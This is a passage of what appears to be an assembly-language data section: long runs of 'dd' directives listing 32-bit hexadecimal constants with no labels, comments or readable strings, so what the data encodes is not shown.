0E1FFDE02h, 442013E9h, 313712h, 0C739F192h, 30FADEE6h dd 0F61BCE0Fh, 2EC3244Ch, 0C5A107E8h, 56C01E03h, 0E029D683h dd 0B37BFB0Bh, 59CF1828h, 0FAD10001h, 680B3A39h, 6D25B58Fh dd 5F40620Fh, 95767ED2h, 0BD612340h, 8F64EE59h, 0C565FD57h dd 38BA32B1h, 33D64003h, 0E0E1CCB6h, 18242AABh, 92AE3BFh dd 0D560B859h, 0AE003B64h, 0A154DD37h, 9D342F44h, 5F935FD4h dd 2E3029A1h, 81549F59h, 0B1B52940h, 0AD799519h, 9C9EFE96h dd 3881ECCFh, 6E9E48A0h, 25BB179Ch, 0F8EE8E46h, 0D444B6h dd 0C44E90DDh, 0D7817FCCh, 9FE3AD0Bh, 0DC8C2904h, 21A16044h dd 970062BDh, 0ADA249Ah, 0BAA7CD0h, 44AE5785h, 0C57BDF01h dd 0DE216E5Fh, 2F1926F5h, 0F480D8DAh, 34891F19h, 36EC4BDh dd 5C4A768h, 6A028191h, 6F193F58h, 4F95E460h, 6185F48Dh dd 57CB1A95h, 2A30D7E1h, 96A7F2h, 0E9879D5Eh, 0BD9D0196h dd 6650370h, 523A88BBh, 5E4127F3h, 2F3F55F1h, 69605E19h dd 7B959370h, 0DA5FDADAh, 0CC944B3Bh, 0A00BBB7Ah, 5739920Ch dd 77A624B5h, 0AE877E0h, 4B94A46h, 120B9D76h, 81703FACh dd 0D5D3DE61h, 90903078h, 8DD849FBh, 48CB81C3h, 67C8EACDh dd 0BC415FB7h, 4304F5Ah, 517A4Eh, 5A68553h, 0D6691C6Ah dd 88148700h, 6D3CBAFAh, 0A05B4FF0h, 0DD5F8AA4h, 0D98865BCh dd 510BDE97h, 0F591E275h, 5B69654Dh, 621B002Ch, 0F63F595h dd 1D018230h, 164A68FCh, 0F4C869A0h, 8382FB02h, 543EA4BAh dd 72B5869Ah, 89372F63h, 6E25EDFEh, 0E571B7B6h, 0C713F5A5h dd 60E27FA8h, 0D4D36B02h, 208A9059h, 9A77E3BBh, 85A57349h dd 50498B0Fh, 0DCFADC61h, 80F4A800h, 0F7D86039h, 0C724240Dh dd 0E0B9075h, 0B2E18509h, 2A5B3DAFh, 0C42D6528h, 0AB9D331Bh dd 0B16AB1F1h, 63B72AE8h, 0C8437A0h, 95B8CA0Bh, 772C5EFCh dd 4257ED49h, 0FE04291Bh, 0A4DF609Bh, 87A709C7h, 0A4444971h dd 0D5C22349h, 91704556h, 1BD39504h, 460FDD0h, 0E988A2BCh dd 0EE005C11h, 90840B76h, 0EB54054Fh, 0BCC97265h, 3F8C97E3h dd 45952529h, 0CFDF4309h, 2940E7EDh, 0F81CD202h, 9699A56h dd 0AD3AF482h, 6B22A1C1h, 1DC8DC9Bh, 7C8214C1h, 726DB0C7h dd 0EDD1741h, 2BE250h, 2B8AFE62h, 0C2B1D4h, 874DF11Eh dd 92921D5h, 68890F2Ch, 401DFC49h, 3F21538Dh, 0E4B47500h dd 9BB32C96h, 0BAD202EBh, 5FF4B5A4h, 51E2A455h, 0EB92EEB8h dd 0D21712CAh, 0C32AFE6Bh, 768AABC0h, 0E527F38Fh, 2C9958BBh dd 935CA08h, 5F713205h, 0F6EFFE44h, 4C17A2C6h, 11071230h dd 0B0CDBFCDh, 8AEA5B44h, 0B9611C20h, 0E09EC500h, 2CD8426h dd 74D0F20Dh, 6B5CEC39h, 1B75F4Bh, 0C96C8C81h, 7BF5CE23h dd 0EC00D373h, 0FFDAE3D8h, 0A400687Ah, 84D49063h, 4BC5AB4Bh dd 0FB340797h, 59B1A5Bh, 0B9C9E0E3h, 8C1DACF1h, 1376200h dd 861AB07h, 0D0F8286Eh, 53525C6h, 0FB2501D3h, 0E64350E6h dd 0BABF4204h, 9E94778Fh, 132BB1F1h, 9C709B7Dh, 0FB828D80h dd 2CEFBF5Dh, 0ADED250Fh, 6BA6AA73h, 565200D6h, 769AB96Bh dd 3E2D4C1Fh, 59A87B06h, 0BF181Dh, 0A6573C5h, 0D018CDD1h dd 9EBB9A12h, 0A115E80Eh, 6A08C602h, 0BCF7BD7Bh, 4C7C01F2h dd 4AB34D65h, 7D32657h, 0B7E2E4BFh, 3ECA73E9h, 57962478h dd 0FD0E1283h, 3FCFC03Dh, 30FEA8D3h, 5F822D70h, 4904BF50h dd 96528325h, 5600C4F2h, 0F5A63570h, 330E8FB6h, 25D5233Eh dd 45259BB7h, 0CAF56182h, 963DD9EDh, 5562BA8Bh, 0E5ED75F8h dd 0A9805727h, 8A50BDB3h, 969CFE76h, 27BDCh, 2E7C34D6h dd 239EB76Ch, 97337095h, 527681Eh, 0F837D526h, 64631880h dd 59DC4C25h, 8F47D6FDh, 0C5B19D17h, 0BC9AEA12h, 0BFBA6D2h dd 57B2BA78h, 290BDDE4h, 5E0691B5h, 377C7160h, 0B3BAE56Ah dd 41124B2Ch, 0A6D772B9h, 7307A1FDh, 3DFB47Bh, 0BFB9BD5Bh dd 0C6DF8B0Bh, 97F48CDCh, 0BF83697Ch, 8D19E7FDh, 6A653DAFh dd 2300246Ah, 34A4DBA6h, 0D650DF7Ah, 124E75ECh, 0FAC8B6BCh dd 50085B69h, 23008914h, 6B9EFE0Eh, 598BDD8Ah, 0C8BD8CC1h dd 64014FA0h, 0BB668BB3h, 342EABA1h, 0DB17BEEBh, 884B52BDh dd 0CCB72B61h, 5B562F0Fh, 55498DEFh, 0CCD8BA68h, 5E3BB32Fh dd 3051090h, 0B030D0BFh dd 3D9A7841h, 0FFCE0BEFh, 78ACFE24h, 1AB39012h, 3C63C834h dd 26A2C4h, 0D6FC4BFh, 78BDAF8Ch, 0D9780010h, 9943272Eh dd 0BAC1C93Eh, 4618D31h, 2823E93Bh, 95FC7109h, 552BC125h dd 1507B30h, 0EBA58539h, 3694D50Eh, 2A335BFh, 7A8D5A8Eh dd 5D4BEA75h, 0C1074637h, 0BB306901h, 0B963EACDh, 0C2978071h dd 0DFA00514h, 762B7C00h, 55AB7B0Eh, 8A424B1Ch, 0CE532751h dd 0EDC29772h, 6AC299D6h, 62137602h, 14FC8D29h, 0BEB35084h dd 75BE2394h, 546ABB50h, 14BCB200h, 0DB639D6Fh, 642D4300h dd 0D02141BFh, 60E9255Ch, 101247C7h, 0F4B91D12h, 129DDABCh dd 144FDFCh, 0AE793F02h, 0F72BF2B6h, 0C7029DB7h, 98D43AE8h dd 0CAF4D0h, 7804D590h, 76E8F3A4h, 124C5D3Eh, 5EBDC714h dd 456BD3h, 2F600648h, 9DFBB850h, 59FF5402h, 6B405FD6h dd 58D680h, 0C637716Ah, 16424733h, 0A863FC00h, 70E30EEEh dd 0E1029F18h, 0EEA9D47Ch, 36C2D36Dh, 59D0F514h, 0E2505495h dd 945725ADh, 0DD1AC573h, 2A9DAE19h, 6A3DC66Ch, 39581358h dd 0C1A4944Eh, 692311B6h, 4BC70936h, 117873FAh, 0F98A091Dh dd 205678B0h, 0E6192BA5h, 3178FC70h, 71E43184h, 225AB9F5h dd 0B789ECFFh, 8995D4ECh, 3CB4460h, 2D44AFFDh, 0C2A80B4Fh dd 733984BCh, 0D5101DFAh, 718E2A89h, 83C2472h, 0F424292Dh dd 75BD0105h, 0AD4AB8F8h, 0B09C380h, 88949B11h, 326BF1h dd 0E7D04F8h, 86267230h, 0C0105425h, 1764BF7Eh, 0AE1C0A76h dd 0D0F9464Eh, 0AED6C85Bh, 88B17A01h, 0BC056811h, 814114D1h dd 0AC043361h, 0FEBB017Ch, 0E96D2F78h, 0A92A2475h, 2181C68Ch dd 508504C3h, 0AA47554Ch, 88241F20h, 0B6C1126Ah, 898BE15Bh dd 712CD5E6h, 0BA4268Bh, 715C0249h, 84251164h, 3AE3220Fh dd 0A5691246h, 0A8915917h, 2446255Ah, 215492C4h, 1E413919h dd 177DFE01h, 281ECB2Bh, 62BF6295h, 0C28B56ACh, 0BB006FB8h dd 4AEED4E2h, 0C091B96Dh, 0B9E8EF80h, 0BF0E40BAh, 1B59B519h dd 2BC4FC95h, 79D6C4C0h, 0D2171E18h, 0BD85A0DBh, 80A8FCCEh dd 7C42E568h, 803E4EBCh, 1557D01Ch, 6143B512h, 0EEB492B9h dd 0AB80D79Ah, 22AD77CFh, 0F45FD4E0h, 0FDE1E320h, 0DD64025Bh dd 24788433h, 7F6B1F7Eh, 0A5007F64h, 0A770987Bh, 184C3ED2h dd 0B8AE380Fh, 3425FBCBh, 442FCD5Fh, 66DC6115h, 0B1EFD47Bh dd 2E9E3AA6h, 0F2EA5487h, 0F25D2957h, 125B5F3Dh, 0B06BAB6Eh dd 37071823h, 9D144F91h, 33AC14B8h, 0A5DD549Fh, 5579AB56h dd 457C0415h, 133B1429h, 64AF106Dh, 99DE30FBh, 8C02A359h dd 8F4CBEE5h, 6BEED569h, 27212921h, 0DC28FCh, 57D2F13Dh dd 0A473C9BBh, 95B5E27h, 429951F2h, 51090418h, 0AF264555h dd 85A225A7h, 0C7516556h, 80AEE814h, 0A9A324E9h, 59F70044h dd 74EEAE61h, 293CAAEFh, 24A94D95h, 0DB84B65Fh, 0E1EF37E0h dd 6DBA21AFh, 56F92FE9h, 2D529FF2h, 62AE5BF1h, 0EAE15D49h dd 0A72BEC7Ah, 391B671Ch, 84ABBF57h, 3AB6BF44h, 31FEE85Fh dd 2516AFBh, 4A5D8B2Bh, 7C051A6Ah, 0ABCA804Fh, 0ED953560h dd 30669D19h, 5FA0B44h, 316E7338h, 0A0A702EBh, 0CEF84341h dd 0EDF9F85Eh, 81D569A9h, 0E3B7C51Fh, 0BC1AF92Fh, 0CF4A1CBBh dd 10DAC9Ch, 0B668F624h, 6E02D5D2h, 8A12D0B3h, 0F14B8DEh dd 0F23BD149h, 0BBB847B9h, 0B550C202h, 7FCCACC8h, 0CE52AEF3h dd 0F7800A0h, 4D8AB014h, 0E280ABFh, 854AAAB7h, 237BEEh dd 5484D38h, 0B2E6FA5Ch, 0E91C40A7h, 49BAD05Ah, 9558DF0Ah dd 0F4D6DC95h, 8ED5224Ah, 0FC4ED97Bh, 83285B94h, 0CB98006Ch dd 9C9654CCh, 0D5EAA104h, 47C71001h, 0F4B28126h, 0F9A6132Bh dd 137ECBEh, 4A696895h, 6AADBD0Bh, 0B785B3E2h, 39CB0B61h dd 0ADDE2BAEh, 3F8081B7h, 0BB0B8B7Ch, 6748259Fh, 7652925Ch dd 0E901DCC4h, 120BB4F2h, 0BC2B10C4h, 72968B6Ch, 4A0F7C21h dd 2772208h, 965BA02Fh, 4A418D01h, 20ACDD07h, 23405542h dd 9F8C0B68h, 45E50B0h, 0AF9C7361h, 62B77FEAh, 26865800h dd 9401E7D2h, 0AF8D4407h, 1923AA6Ah, 0A2A71D38h, 0BFD26B40h dd 5A6564EEh, 4EABB930h, 0C0E0B7A6h, 8B12B1BBh, 9AAA23FAh dd 0F5D8924Dh, 0D3A42FD8h, 32893312h, 61E7C1D5h, 165D6E2Fh dd 3EA89BBCh, 0E2672125h, 0F549E9A0h, 35A64A0Fh, 15692698h dd 5BE9F580h, 0B093B740h, 0E7D876BDh, 0BA113860h, 185B95A7h dd 0D32E8B7Dh, 691F02F5h, 0DB5B041Bh, 0BB81DE8Fh, 37DCD95Bh dd 7BF2282Bh, 3CF196BBh, 9436E62Ah, 1F1D1747h, 0BC2EAB9Dh dd 61608480h, 0F5C9DAACh, 49634D55h, 764ED8CCh, 561D64C2h dd 4AED5AD0h, 25F55E4Bh, 6EAF3D00h, 12955796h, 7B5BDDDFh dd 0C0B2F727h, 5B405F5Eh, 0F61F01DFh, 8DE10034h, 7FF8D30Fh dd 7503623Bh, 47E2A479h, 0AA024F5Fh, 23602141h, 77C2BD95h dd 0EC03F339h, 558A16C9h, 0F851CF65h, 0DD0360h, 8B948666h dd 0BD230403h, 72B6D12h, 0A0EF8AAAh, 1787F3Fh, 8FBB1B19h dd 2A21556Eh, 8DA8E1B2h, 1EB4D70Bh, 2F2D0033h, 0B866BE60h dd 815A03EEh, 2B754FF7h, 0CC01B894h, 976D7860h, 0DD08BB71h dd 0FF61122Eh, 0D8968C9Ah, 5A0249D4h, 2B3858Eh, 0CB00FEE3h dd 0F9BF1175h, 0F94E3C38h, 1668ED3Fh, 7D25FAA6h, 0F3DF624Dh dd 0CDDF70C0h, 9BB8C64Eh, 0EFD8854Ah, 0E421B820h, 1C6F002Dh dd 0C702EF3Ch, 800929E9h, 595F89F7h, 0F60054C5h, 0B73A9D84h dd 2CB26D96h, 0B487FE8h, 3AD716FDh, 3551CBh, 10A70EEAh dd 0AA06BD99h, 85CFA91Ch, 8FB72482h, 0FE062C8Eh, 999D93Eh dd 0D7EF5FE7h, 2FB9A338h, 0F83B5689h, 0CABD398h, 0B5B91586h dd 72AA614Ah, 9DF519Ah, 0F6E27FD3h, 64616D75h, 5894601Dh dd 22F93AC8h, 0D50477BBh, 0AC41B33Ch, 0F151253Dh, 4C803DBAh dd 3FD4F9F2h, 933BA8CEh, 0A2D380CBh, 7F1F8C5h, 0A466125Bh dd 3188AB89h, 0D394955Fh, 13606B44h, 0ED659529h, 1783114Ah dd 87BDBC4Ah, 42FEFC1Ah, 80DB6FE2h, 69DADD86h, 0CFB809B4h dd 8EFCAC9Ah, 0CFB5A622h, 0ACA06034h, 2B5E5C64h, 403C7120h dd 0D31803D6h, 0FD8D2F53h, 67019798h, 866BC501h, 0F6F1607h dd 3011ED41h, 4650D84Ah, 56EAAA2Dh, 0A1FCE90Eh, 0AFB002D4h dd 0EB7B4E51h, 0EEA9B385h, 9B7274D6h, 120F083h, 2F29B510h dd 9800F0Bh, 0A2D54C5h, 1D094163h, 0AD417330h, 0B80BF904h dd 2950E21Dh, 0EBA5CF5Fh, 124FA055h, 5BF98B83h, 0A066F7C6h dd 9554AF9h, 1EA99589h, 13C94D55h, 0E35E0B2Dh, 0B323685Ch dd 5B8BD178h, 9220DBC1h, 0C7BF8380h, 95D6C2C1h, 0FB5720CDh dd 255472B3h, 0C89D32E1h, 9009B32Ch, 0E958AAB3h, 19960ECh dd 86E3C0A9h, 469DB002h, 39EC3E4Ah, 35227BC8h, 0C06A5E5Ch dd 226970FAh, 3A3404E4h, 0EE858A78h, 0C92EB8B6h, 0CEC60E9Eh dd 1ED0BD2h, 6FAB88D7h, 0D517642Ch, 0B91A56AFh, 75BCC1h dd 156357E0h, 81F05C5Bh, 7844DB0Ah, 8A3BB387h, 0AD9DFDEBh dd 0BFE6202h, 0B81AF706h, 0BF0E2456h, 26534009h, 918F0F50h dd 0E3FB2753h, 7593102Fh, 49C707A2h, 0B15ACD2Bh, 6B5F0D50h dd 0D3DE868Ch, 0A5CA04CEh, 0B07AABD3h, 0DBC1007Fh, 0E2D93419h dd 0B97536Ah, 0D86ED345h, 2309F13Ch, 55F95DB6h, 0EC49946Dh dd 0A385001Ah, 46A0D618h, 0C70A8017h, 97D1FF59h, 0BE9AF160h dd 0E334009Bh, 0A46B1316h, 0C5B55B50h, 83729089h, 3B0EE802h dd 4500380Fh, 0AD9E6804h dd 3905DF43h, 14EE8E75h, 0D7F5F800h, 5A5F05FBh, 4DACB390h dd 0CADE3D26h, 3CE0F9A6h, 0C2BF7B89h, 57E16AD6h, 18644B6Dh dd 9ED80A63h, 0E9254F51h, 85CC76Dh, 0B309FE6Ch, 0DD37752Dh dd 1EB4883h, 0C8FF948Dh, 0D625F7DDh, 9D28CEBCh, 0D003FB5h dd 7645E2C2h, 0A63C5FB0h, 10045814h, 503E2B55h, 0E90B8397h dd 65BF8021h, 9143BDE1h, 8101BF99h, 0C868A5EFh, 0D8CB2A1Eh dd 0A883F95Bh, 7E9D01E0h, 0A795C45Dh, 28642EA1h, 5ECBE3FBh dd 2B833FEBh, 72008919h, 0EB100975h, 206C9871h, 29418EDh dd 59B53161h, 0FFC3F47Fh, 203B7BDh, 0A9A7CDA6h, 0AB60A784h dd 0D1615A20h, 0EFDE9D5Ah, 0DA907D2Dh, 0B23F37CDh, 4B66CD9Ah dd 22151A04h, 2BE7ABBh, 1D255752h, 4E44D5C0h, 0E500127Ah dd 4BEC5CD7h, 1189BA33h, 4A30FDBDh, 95F4BDD8h, 15514510h dd 0D165B081h, 0E8566030h, 0D8920982h, 30D75B3Ch, 855551h dd 4849D208h, 0A7348F61h, 0FD3F2675h, 482B41DBh, 0D749C1D2h dd 1E8ABC33h, 114BC675h, 0D2232DB5h, 89B9D0BFh, 2AE16185h dd 330913E2h, 12D7C59Dh, 56B86A25h, 9BAB008Eh, 82E94901h dd 4B950988h, 615FEE7Dh, 44124E9Ch, 27807DE0h, 1951FFDFh dd 1D9AD600h, 6C24372Fh, 0CD432421h, 868C1C4Bh, 0E718A23h dd 0C6C3D0ADh, 1742E96Bh, 26A9604Bh, 0D95EC1CFh, 0D3CA0C61h dd 9E98B9ACh, 0AFB8DAD6h, 4C68C1A4h, 0AD8A6BC8h, 901D9110h dd 0FB8B126Fh, 721094E6h, 0BD091F7Eh, 40252E52h, 0D10D6330h dd 99FB0B4Eh, 10FCBDC6h, 0C0905425h, 0C136E8BBh, 52B92D27h dd 0E1A5AD8Fh, 0C82A4BA5h, 997A861h, 7086F3C3h, 0E50BB83Ah dd 5E971D92h, 4A2511D8h, 8D4065F3h, 82E1AAC9h, 57AD3972h dd 96822637h, 56704B3Bh, 2BFC41D7h, 6A7661D2h, 15C87BDFh dd 5C3EB9C2h, 0A0F64705h, 0E5A860A9h, 4E38204h, 0DDFBFD8Ah dd 40B87E32h, 0C446AD5Ah, 0EF645C1Dh, 32B52C71h, 0FC389C6Bh dd 817D1597h, 0EA4A02BBh, 2B713540h, 0E14E7C28h, 0A3A3E72Ah dd 7C6ED85Ah, 1EEF1428h, 0B3D2BC54h, 0B6354A85h, 3EBEAF40h dd 986E918Dh, 0E0E14BBAh, 2FC409D0h, 80420385h, 755CB1E7h dd 8010D251h, 1497ACCFh, 20DD6978h, 0B8788353h, 0B1151271h dd 8D7CE2D1h, 0DB3F5A7Ah, 0E2C6C0BFh, 26F50AA1h, 84ADF62h dd 60161725h, 0DAE0B2A6h, 5805F6DFh, 11D3560Ah, 0D44A67B8h dd 0E52882ACh, 119CEF7h, 79DE17EDh, 2E6CDD3Fh, 1EB6B756h dd 690C39E0h, 66832609h, 0D298FFDCh, 21CA887h, 39009D7Ah dd 0C861EBE0h, 294F04D8h, 162A3D85h, 0CE882EACh, 2F9B5CA5h dd 155C7FCh, 8A76DF5Ah, 9FAC2A53h, 11223B48h, 3E47E09Eh dd 0F9581B60h, 919A0212h, 5B8E7C94h, 914CB555h, 0B3C5801Bh dd 5198C2h, 600C3661h, 0E3D1BA66h, 0D7966297h, 0E50D1EC3h dd 4605090h, 0CF3C5EF1h, 0DC1AC892h, 343A4802h, 0F518F4A0h dd 9061ABB8h, 0CE3A605Ch, 2A50159h, 4CF1ED55h, 0FF2AA9F2h dd 0D70F9898h, 220F8676h, 0A02C9C3Eh, 0FD93DA7Fh, 60592F05h dd 96018564h, 3DAB63EDh, 0BD6A1762h, 7C612F33h, 0A8D996A3h dd 34FEB40Fh, 2A9FC75Fh, 60568996h, 6600E979h, 913BE487h dd 0F03700CBh, 0C1D0A59Eh, 2605165Ch, 5B613262h, 51513AAh dd 8C572BB7h, 44007E8Fh, 0DBD4E542h, 0B55E56A2h, 0E8222246h dd 4FC82C13h, 97AD002Eh, 2DB35EAFh, 931E1403h, 0B86632E1h dd 9D60C569h, 0B541975Ch, 0AD7A61A4h, 1C69BD7Ah, 79EF077Fh dd 606F9659h, 0E0E423E7h, 7BCD6D4Ah, 7802017Bh, 717BB7B2h dd 0E4AD3BAFh, 4E16A3ECh, 60EB52D5h, 0E95DEBC7h, 0D67E4A95h dd 0F55314C5h, 0C523EEC0h, 0A7017D5Fh, 0A9C47159h, 5EE6EAE7h dd 60A16A6Fh, 571F87D7h, 8FC78800h, 354D7FBAh, 649A975Fh dd 2CBB84F5h, 81F5DDAAh, 41CDEBF2h, 40288957h, 35575F89h dd 82149102h, 5D89F562h, 0E9E0446Dh, 170C19Ch, 9ECC3576h dd 0EE9D3369h, 0DF419CD4h, 0A67BD3BEh, 0D370B4CCh, 4B2F34F7h dd 0B39A0A4h, 605D9297h, 8017F1FFh, 9E24B396h, 0ED679A50h dd 1E185B50h, 83DA000Fh, 94B9DD3Ah, 5217D904h, 9B68C02h dd 1D1370F0h, 0BBA32E09h, 0AF5E7937h, 919DDE30h, 436800F7h dd 29A92481h, 64C0A528h, 0B67A82BCh, 0FA4B4BB0h, 5EF941C5h dd 0F51FE9ECh, 0F7DC788Fh, 2E52DA1Ch, 982C9DF5h, 0C764572Fh dd 1890D700h, 5476413Dh, 0B4591380h, 1809BFA8h, 0C0055C5Fh dd 8D29DAB7h, 89B47D4Bh, 2754B060h, 0EA5E2EB5h, 2C5432C1h dd 45D0E0h, 0F842497Ch, 2FAC39B4h, 32AC6C4Fh, 3DD7618Bh dd 601C92ECh, 9310C111h, 74A9F302h, 571E5E40h, 7B971B34h dd 0E92E70DBh, 1A13276Bh, 5A545515h, 0D72F7169h, 6DDD8A09h dd 467DCB58h, 0D14975Eh, 6F9FD574h, 0BBB5409Eh, 0E6014B91h dd 89090D9Ah, 74C205BDh, 0AF9F711Ah, 2F2D585Fh, 0C4CCE722h dd 13CCF94Bh, 0A43FED29h, 0C7048193h, 63F04DB8h, 6FD426B8h dd 0F61AF112h, 301DF202h, 0DD00AB43h, 0A9E947A0h, 95793252h dd 54957678h, 7301F4DEh, 0E721EB20h, 1A617ED2h, 605BF47Bh dd 8DEF802Eh, 7797A5C0h, 0FD921685h, 3A0FAE4Eh, 364C4094h dd 120D4AC1h, 0F69D2B39h, 3FC04F05h, 3F98ACF7h, 8DCBE28Ah dd 1E23E3h, 0D4D0127Fh, 0C0283044h, 95EF25BAh, 0ABAC6E50h dd 9D01E381h, 0D8B333Fh, 0EB065602h, 0E3D05DFh, 820462ABh dd 989F259h, 0ECD1D433h, 2B4F195Ch, 0B48029F9h, 3D370EFAh dd 54C51616h, 975B07B0h, 5B7B7009h, 4C533D70h, 5BCBE78Bh dd 2066CF7h, 0BD0B5515h, 0B2551891h, 42CDED5Bh, 0F95FD6ACh dd 0FD211274h, 53D9CFA1h, 90E74AEh, 85C22DE6h, 91E8B57Fh dd 0D5A8216h, 0B2AE4049h, 29A135B9h, 21920E48h, 228AAB32h dd 0D6DBFB2Fh, 57525007h, 85AA73C4h, 0DB7B120Ah, 0ABF7800Bh dd 28C670F1h, 24B72E96h, 92748FAh, 375D233Dh, 84159188h dd 34FAF7C1h, 0C0ABAC04h, 0DEE9F1BFh, 6414972Dh, 357B585Eh dd 1D4F61Dh, 9936B4CFh, 45206A2Bh, 5ACDEDB0h, 0A0D9BCDCh dd 0C74B5h, 6096F35Ah, 0BA66C38Bh, 61FECC12h, 0D3FAC2AEh dd 59E62C5Ah, 968761B7h, 52159820h, 8C96991Eh, 0C7000590h dd 121731A2h, 2D73278h, 6DE9F353h, 396056FBh, 5995303Dh dd 0DAD4C9E7h, 583100D4h, 0A096F0BFh, 2C268806h, 57E047BDh dd 5C98158h, 6E99D0B0h, 6BAB61h, 0D3FF647h, 214F8A4Bh dd 31963E66h, 809AFD01h, 1555FA45h, 0FB675FFDh, 5CF21439h dd 59F3EB6Dh, 0DE1850h, 8ACBAEF4h, 2820BA96h, 3B118148h dd 0C62C19DFh, 0D9FD602Ch, 0A67203Ah, 7500F034h, 13FBF88Fh dd 4B5DC9FEh, 17658B61h, 92FABD09h, 675CD4B5h, 0DE1324h dd 80906C25h, 0C18B47DBh, 0CD40B09Ch, 0B12DD7Dh, 46606776h dd 470198DFh, 2BD60065h, 4EF65D10h, 2500D152h, 70779CD7h dd 975B452Ch, 90FC6918h, 0F5E6535Bh, 2B49C84Ah, 71D67B00h dd 5372D7CBh, 7574003Ch, 0EFF6FC5Bh, 0AA12C45Ch, 821EFF1Dh dd 0CEB450D2h, 83F83FEh, 4D90255Ah, 51D8C0CBh, 682ECD21h dd 4C293889h, 0DE81DE2Fh, 4071DE97h, 6A11CF80h, 0E1946DBDh dd 24308E5Fh, 18B12D68h, 0C0E4A04h, 5DBC13E9h, 0E125B9BAh dd 2982C1DDh, 3A95E12Bh, 0DB4B88A7h, 0DECF80C1h, 0D71397E1h dd 2AD2E140h, 308017DEh, 0D3064D36h, 5E8B010Ch, 74CBBEF7h dd 880B9757h, 4055CF77h, 0EBA35E1Fh, 52109A0Eh, 2AABF6F3h dd 63E880EFh, 4F83C274h dd 59F3B0E2h, 9DC164Ah, 0E179F829h, 0F945F86Bh, 0D5F8617Bh dd 6387407Bh, 734BB957h, 0AF22AB8Ah, 0F28D8925h, 26A26B9h dd 0ED2DDEBCh, 5581928Ch, 0F9492473h, 570A0097h, 88099D4Dh dd 2C9ED903h, 0BBE2D7FBh, 80A39A68h, 755E3E8h, 2509E25Fh dd 5E5EA5B5h, 805F11C4h, 43E5A19h, 2700A76Bh, 5E1D0372h dd 26A48F51h, 4084728h, 0BD616057h, 208B90CAh, 0B7C2B501h dd 95D5912Bh, 17B64086h, 0E925FA8Bh, 12E8C7A5h, 0EFD65654h dd 97BCDC9h, 0CDF530D7h, 4380EFF4h, 6DD780A4h, 0B7EA1897h dd 0CA42BF13h, 3E680D54h, 1AF5B49h, 0A8EBB66h, 91712EFCh dd 0D82AFBBFh, 0FA182B6h, 0D484F66Ah, 27FB5DC5h, 150671A5h dd 232EB6FDh, 0AECA3957h, 200BA572h, 8199D89h, 10889484h dd 1BA84E04h, 801CDD40h, 0C49F71E4h, 9FE30107h, 0FFFA6720h dd 28ACF85Ah, 6F42BF61h, 482E0DEAh, 6AB1D603h, 0FC2F22D1h dd 21FB97B3h, 6A5F5789h, 85194AB3h, 6E292DBDh, 90C56924h dd 0C3A080FFh, 5F4BD32Dh, 0C6B71281h, 600E092Eh, 58BDB370h dd 29D1585Bh, 0E907D14Fh, 5374490h, 0FFA153BCh, 0FF7A84h dd 9D0350BDh, 64B51E7Dh, 2406DC18h, 35A760B9h, 8900D4C3h dd 7D15D5E3h, 74C57E55h, 5DB6CC0Ch, 0FC9D5F3Fh, 0FA00E9A1h dd 4CE96756h, 0CAE70AA8h, 18DF24Bh, 1287C7E8h, 0E26B73CCh dd 0EC322204h, 6047A188h, 98C28AF5h, 810A499Bh, 14642E61h dd 16D5EC04h, 79418A10h, 2C9DF001h, 4837CA6Ah, 0CD0B2D9Dh dd 3E85E36Ch, 5F67ABC8h, 3F7E6F0Bh, 0DFBBE2C8h, 94D6622h dd 72877355h, 4013A86Eh, 42FA9531h, 111AB984h, 0ABA33055h dd 0D74101ACh, 0CCA14C98h, 0EFBD40AAh, 1978C1Ch, 0DB5893Fh dd 0BE4D246Eh, 0DBF6DDE1h, 5F837223h, 0F7F853F0h, 9905F5ABh dd 51C02B63h, 0D41907EAh, 0DBD28580h, 7BEC24Bh, 9B65D51Eh dd 80F6DEF2h, 0EEB39153h, 549D8327h, 92994A0Ch, 132DE237h dd 0D8AFDF8Bh, 27848F58h, 40529D01h, 61AE5F4Ah, 0E2BF14Ch dd 175DBDC1h, 0FBBD3B07h, 4EA720B9h, 77C22E01h, 2B258D29h dd 38A08E6Ah, 59B47059h, 7D1627DEh, 80E1207Eh, 0E67E2BCBh dd 0D67E0459h, 30F131DBh, 23F09C3Fh, 1F5D9D10h, 0EFFFBA64h dd 0BB0908E3h, 40FF6B13h, 871F3DFDh, 0AF124FBEh, 1D1F98AEh dd 5AAC304Ah, 6E0421E1h, 8B22F260h, 1342741h, 56FD92DDh dd 0D2CE515Ah, 0D3A3DD7h, 6BEA60AAh, 7C5D86E8h, 893E33B8h dd 0C25CA580h, 70A6FB37h, 94099DA6h, 72D7B758h, 0BDDA4E1Ch dd 0EEADC090h, 726D8F9h, 984CA1CCh, 0C7DDE0ABh, 4F4F3B0Ah dd 0BF09B6E6h, 0F75929EFh, 754582AFh, 905B021Bh, 631B115Dh dd 5EB5F96Ah, 41904A92h, 7F56183h, 0C04C9B14h, 2C74959Bh dd 80B80968h, 4A7D305Ch, 1FA8F0C4h, 2F438347h, 0B1007A71h dd 78FDAC27h, 9D567187h, 9D041A53h, 69390929h, 0C12FA912h dd 1199975h, 0FF2A2AE9h, 490A747Ah, 27C55494h, 28FC41FEh dd 4A92EAE2h, 3037CDDFh, 64AB99Dh, 817A37DDh, 2F157948h dd 64A0FBF7h, 385A6BC7h, 6FE217FAh, 7330128Fh, 0ADDF88h dd 2E454A89h, 5C062CDBh, 0CB444D00h, 0C21B7A38h, 4EB6B8F0h dd 0A15EA8D1h, 1C89DFB3h, 7A560C2Dh, 4A1B46D4h, 2B1100AAh dd 962363E5h, 5F72B32Fh, 0BF20C910h, 0E6874800h, 0D7450D1Eh dd 4918153Ch, 0DCBD8396h, 2926F899h, 0F927FCB5h, 5C6D6941h dd 343E0A40h, 92B7484h, 8048616Bh, 0FB8BF200h, 2112D068h dd 0B7ACA07Dh, 2F240401h, 665FA1E2h, 6693F02Ch, 5F9501ECh dd 753E2D8Dh, 0DC984C6Dh, 0A0FCE01h, 2914F6F3h, 301AB53Ah dd 5497A93Dh, 22716B7Bh, 0C2BC0038h, 0DF979DFBh, 0CE5200EDh dd 0A59968E5h, 5D27E451h, 0E8000262h, 56B6200Fh, 0A800E2B7h dd 7BE0A9D7h, 122781B5h, 0A23EBBBCh, 8ECA1FEAh, 0E575A642h dd 54F97DCDh, 829510ADh, 0D2240092h, 0EE0366Dh, 0E81E273Dh dd 1447F9Ah, 21E2585Ah, 0D58D1273h, 2075AA12h, 0F78071E8h dd 72EA5231h, 0A6490800h, 0C4C2E751h, 938E3B40h, 0D7816A80h dd 1ACBE3BAh, 86615F2Ch, 0BEC5E916h, 23177BFFh, 0FA76051Dh dd 7521BE98h, 0F32FE474h, 0DA8A1734h, 3CFEE9C5h, 